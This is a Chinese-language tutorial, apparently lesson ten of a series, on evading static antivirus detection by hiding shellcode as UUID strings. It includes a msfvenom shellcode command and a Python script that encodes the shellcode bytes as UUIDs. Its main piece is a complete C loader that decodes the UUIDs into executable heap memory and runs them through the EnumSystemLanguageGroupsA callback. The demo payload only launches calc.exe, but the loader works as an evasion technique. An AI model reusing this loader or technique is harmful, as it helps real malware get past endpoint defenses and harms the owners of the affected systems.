静态恶意代码逃逸(第十课)

代码将会上传至Github,方便读者下载研究 : https://github.com/Rvn0xsy/BadCode

0x01 UUID

通用唯一标识符(universally unique identifier, UUID)是一个128位的用于在计算机系统中以识别信息的数目。在Windows中也有使用GUID来标识唯一对象。 — 来源:维基百科

关于Windows中的GUID也等同于UUID,先看一下结构:

typedef struct _GUID {
  unsigned long  Data1; // 4字节
  unsigned short Data2; // 2字节
  unsigned short Data3; // 2字节
  unsigned char  Data4[8]; // 8字节
} GUID;

总和一共16字节,16*8 = 128位。

0x02 与UUID相关的Windows API

RPC_STATUS UuidFromString(
  RPC_CSTR StringUuid,
  UUID     *Uuid
);

功能:将字符串UUID转换为UUID结构。

RPC_STATUS UuidCreate(
  UUID *Uuid
);

功能:创建UUID结构。

int UuidEqual(
  UUID       *Uuid1,
  UUID       *Uuid2,
  RPC_STATUS *Status
);

功能:判断两个UUID是否相等。

通过URL查看:https://docs.microsoft.com/en-us/windows/win32/rpc/rpcdce/ns-rpcdce-uuid

UUID 代表了 -> typedef GUID UUID;

0x03 UUID 测试

生成Shellcode

./msfvenom -p windows/exec CMD=calc.exe -b '\xfc\xe8' -f raw -o /tmp/shellcode.bin

Bin2UUID

生成脚本:

from uuid import UUID
import os
import sys

# Usage: python3 binToUUIDs.py shellcode.bin [--print]

print("""
  ____  _    _______    _    _ _    _ _____ _____       
 |  _ \(_)  |__   __|  | |  | | |  | |_   _|  __ \      
 | |_) |_ _ __ | | ___ | |  | | |  | | | | | |  | |___  
 |  _ <| | '_ \| |/ _ \| |  | | |  | | | | | |  | / __| 
 | |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \ 
 |____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/
\n""")

with open(sys.argv[1], "rb") as f:
    bin = f.read()

if len(sys.argv) > 2 and sys.argv[2] == "--print":
    outputMapping = True
else:
    outputMapping = False

offset = 0

print("Length of shellcode: {} bytes\n".format(len(bin)))

out = ""

while(offset < len(bin)):
    countOfBytesToConvert = len(bin[offset:])
    if countOfBytesToConvert < 16:
        ZerosToAdd = 16 - countOfBytesToConvert
        byteString = bin[offset:] + (b'\x00'* ZerosToAdd)
        uuid = UUID(bytes_le=byteString)
    else:
        byteString = bin[offset:offset+16]
        uuid = UUID(bytes_le=byteString)
    offset+=16

    out += "\"{}\",\n".format(uuid)
    
    if outputMapping:
        print("{} -> {}".format(byteString, uuid))

with open(sys.argv[1] + "UUIDs", "w") as f:
    f.write(out)

print("Outputted to: {}".format(sys.argv[1] + "UUIDs"))

2021-02-08-20-41-08

生成测试样本

#include <Windows.h>
#include <rpc.h>
#pragma comment(lib,"Rpcrt4.lib")

const char * buf[] = {
	"4baf01bd-dbdd-d9de-7424-f45a33c9b131",
	"83136a31-04c2-6a03-0e4d-be21f81341da",
	"3fcb73f8-b3c9-34af-7904-bb1975efe989",
	"bd259d0e-28a7-f010-3800-6093ba5bb573",
	"72c89383-cec4-2621-9d85-94d7aad02453",
	"802cf5e0-f4b0-171d-cbae-bd9918dbf781",
	"394ee67d-9cb5-eb50-845d-fed229acfe13",
	"6a754f8d-f2ee-a98e-8d28-1a2a35babc96",
	"5c5a6fc4-c4ca-3a28-cedb-fd30ea500097",
	"3327227b-f020-6246-8c57-76746f07d2fe",
	"5d6f5c9d-a3cb-dbfd-b9a4-fde3edcccc68",
	"bad08a62-64c7-e79b-61ed-4272307075a8",
	"59f68d76-6a06-2be6-0336-a0c0792745e7",
	"844c482e-dab1-650c-545b-b67900000000"
};


int main(int argc, char* argv[]) {

	int dwNum = sizeof(buf) / sizeof(buf[0]);

	HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
	if (hMemory == NULL) {
		return -1;
	}
	PVOID pMemory = HeapAlloc(hMemory, 0, 1024);
	
	DWORD_PTR CodePtr = (DWORD_PTR)pMemory;

	for (size_t i = 0; i < dwNum; i++)
	{
		if (CodePtr == NULL) {
			break;
		}
		RPC_STATUS	status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr);
		if (status != RPC_S_OK) {

			return -1;
		}
		CodePtr += 16;
	}

	if (pMemory == NULL) {
		return -1;
	}
	if (EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)pMemory, LGRPID_INSTALLED, NULL) == FALSE) {
		// 加载成功
		return 0;
	}
	return 0;
}

2021-02-08-20-52-53

0x04 Windows CALL BACK函数

CALL BACK意为回调,是定义一个函数,由系统某个事件或用户的动作自动触发的函数,因此调用者不是用户。

通过MSDN直接搜索Callback/Proc关键字就能发现一些回调函数:

2021-02-08-20-59-11

例如:


HINTERNET hOpen;                       // Root HINTERNET handle
INTERNET_STATUS_CALLBACK iscCallback;  // Holds the callback function

// Create the root HINTERNET handle.
hOpen = InternetOpen( TEXT("Test Application"),
                      INTERNET_OPEN_TYPE_PRECONFIG,
                      NULL, NULL, 0);

// Set the status callback function.
iscCallback = InternetSetStatusCallback( hOpen, (INTERNET_STATUS_CALLBACK)CallMaster );

void CALLBACK CallMaster( HINTERNET,
    DWORD_PTR,
    DWORD,
    LPVOID,
    DWORD
);

如果CallMaster指向的是一块可执行属性的内存,那么就可以加载Shellcode。

这篇文章中介绍了如何发现其他带有回调的Windows API

参考